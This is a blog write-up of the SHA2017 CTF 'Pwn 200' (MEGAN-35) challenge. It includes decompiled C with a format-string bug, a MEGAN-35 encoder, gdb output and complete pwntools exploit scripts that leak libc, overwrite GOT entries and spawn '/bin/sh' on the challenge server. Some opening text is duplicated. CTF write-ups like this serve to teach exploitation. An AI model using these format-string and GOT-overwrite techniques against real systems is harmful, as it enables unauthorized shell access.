SHA2017 - Write up Pwn 200
Welcome to my blog.
Today, I will write up for SHA2017 CTF.
In here, I write for Pwn 200
This source file: FILE
System is running Ubuntu 16.04, ASLR is disabled.
nc megan35.stillhackinganyway.nl 3535
We can leak in printf(&dest); by format string.
First, I had source encode megan-35.py :
Today, I will write up for SHA2017 CTF.
In here, I write for Pwn 200
This source file: FILE
System is running Ubuntu 16.04, ASLR is disabled.
nc megan35.stillhackinganyway.nl 3535
int __cdecl main(int a1)
{
const char *v1; // eax@1
int v2; // edx@1
char s; // [sp+0h] [bp-21Ch]@1
char dest; // [sp+100h] [bp-11Ch]@1
int v6; // [sp+200h] [bp-1Ch]@1
int *v7; // [sp+214h] [bp-8h]@1
v7 = &a1;
v6 = *MK_FP(__GS__, 20);
puts("Decrypt your text with the MEGAN-35 encryption.");
fflush(stdout);
fgets(&s, 0xFF, stdin);
v1 = sub_804866B(&s, strlen(&s));
strcpy(&dest, v1);
printf(&dest);
v2 = *MK_FP(__GS__, 20) ^ v6;
return 0;
}
In challenge input one megan-35 encode, program decode and print decoded text.We can leak in printf(&dest); by format string.
First, I had source encode megan-35.py :
import base64, sys
megan35 = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5"
atom128 = "/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC"
zong22 = "ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2"
hazz15 = "HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5"
base = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
class B64VariantEncoder:
def __init__(self, translation):
base = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
self.lookup = dict(zip(base, translation))
self.revlookup = dict(zip(translation, base))
def encode(self, text):
global lookup
b64 = base64.b64encode(text)
result = "".join([self.lookup[x] for x in b64])
return result
def decode(self, code):
global revlookup
b64 = "".join([self.revlookup[x] for x in code])
result = base64.b64decode(b64)
return result
variant = megan35
def encode(text):
encoder = B64VariantEncoder(variant)
return encoder.encode(text)
def decode(code):
try:
encoder = B64VariantEncoder(variant)
return encoder.decode(code)
except KeyError:
return "no valid encoding"
except TypeError:
return "no correct padding"
Because ASLR is disable then i had one idea.
I overwrite canary and stack_check_flase, overwrite system in printf_got to jump to main and input '/bin/sh' in megan-35 encode then system('/bin/sh').
Fist i need canary addr:
.text:080484E0 lea ecx, [esp+4]
.text:080484E4 and esp, 0FFFFFFF0h
.text:080484E7 push dword ptr [ecx-4]
.text:080484EA push ebp
.text:080484EB mov ebp, esp
.text:080484ED push edi
.text:080484EE push ebx
.text:080484EF push ecx
if we have $ecx we will know $esp then calculate $ebp and canary address.
break point in printf(&dest); we have:
Breakpoint 1, 0x08048558 in ?? () gdb-peda$ i r $esp esp 0xffffcdc0 0xffffcdc0 gdb-peda$ x/wx $ebp - 0xc 0xffffcfec: 0xffffd010
$ecx in 0xffffcfec :
we had (0xffffcfec-0xffffcdc0)/4 = 139 ==>> input "%139$x" encode megan-35 to get $ecx
[chungnv@Fedora25 Bai1]$ nc megan35.stillhackinganyway.nl 3535 Decrypt your text with the MEGAN-35 encryption. OdJtTc=y ffffddd0
we had $ecx = 0xffffddd0 ==> $ebp = (($ecx-4)&0xfffffff0)-8 ==> canary = $ebp - 0x1c ==> canary = 0xffffdd9c
Next, we want get the value of system address.
To do it i find value of printf address by payload: printf_got + '%p"*70 + "--" + "%s"
from pwn import *
from megan35 import encode
libc = ELF('libc.so.6')
printf_got = 0x804A00C
r = remote('megan35.stillhackinganyway.nl', 3535)
r.recvuntil('encryption.\n')
payload = p32(printf_got) + "%p"*70 + "--" + "%s"
r.sendline(encode(payload))
addr = int(r.recv(1024).split('--')[-1][:4][::-1].encode('hex'),16)
log.info("Printf addr: " + hex(addr))
system = addr - libc.symbols['printf'] + libc.symbols['system']
log.info("system: " + hex(system))
[chungnv@Fedora25 Bai1]$ python find.py
[*] '/home/chungnv/Downloads/CTF-GAME/SHA2017/pwn/Bai1/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to megan35.stillhackinganyway.nl on port 3535: Done
[*] Printf addr: 0xf7e62020
[*] system: 0xf7e53940
[*] Closed connection to megan35.stillhackinganyway.nl port 3535
from value of printf address we can calculate value of system address by file libc.so.6 .
system = 0xf7e53940
I use this code below to exploitation program.
from pwn import *
from megan35 import encode
stack_false = 0x804A018
main = 0x80484E0
printf = 0x804A00C
def proc_value(value):
ar = []
k = value & 0xff
if k <= 0x14:
k += 0x100
ar.append(k)
while True:
value = value >> 8
x = value&0xff
if x == 0:
break
while x <= ar[-1]:
x = x+0x100
ar.append(x)
return ar
def write(addr, value, canary):
buff = p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)+p32(printf)+p32(printf+1)+p32(printf+2)+p32(printf+3)
if canary != 0:
buff += p32(canary)
ar = proc_value(value)
key = 71
for i in range(len(ar)):
if i == 0:
if canary != 0:
buff += "%"+str(ar[i]-0x24)+"c%" + str(key) + "$hhn"
else:
buff += "%"+str(ar[i]-0x20)+"c%" + str(key) + "$hhn"
else:
buff += "%"+str(ar[i]-ar[i-1])+"c%" + str(key) + "$hhn"
key += 1
buff += '%56c%75$hhn'
buff += '%249c%76$hhn'
buff += '%172c%77$hhn'
buff += '%18c%78$hhn'
if canary != 0:
buff += "%79$hn"
return buff
def findaddr(addr):
p.recvuntil('encryption.\n')
p.sendline(encode(p32(addr) + "%p"*70 + "<-->" +"%s"))
txt = p.recv(2048)
leak = txt.split('<-->')[1][:4]
leak = int(leak[::-1].encode('hex'), 16)
return leak
def leakaddr(addr, value, canary):
p.recvuntil('encryption.\n')
buff = encode(write(addr, value, canary))
p.sendline(buff)
canary = 0xffffdd9c
system = 0xf7e53940
p = remote('megan35.stillhackinganyway.nl', 3535)
leakaddr(stack_false, main, canary)
p.recvuntil('encryption.\n')
p.sendline(encode('/bin/sh'))
p.interactive()
The challenge is finish!!!!
Comments
Post a Comment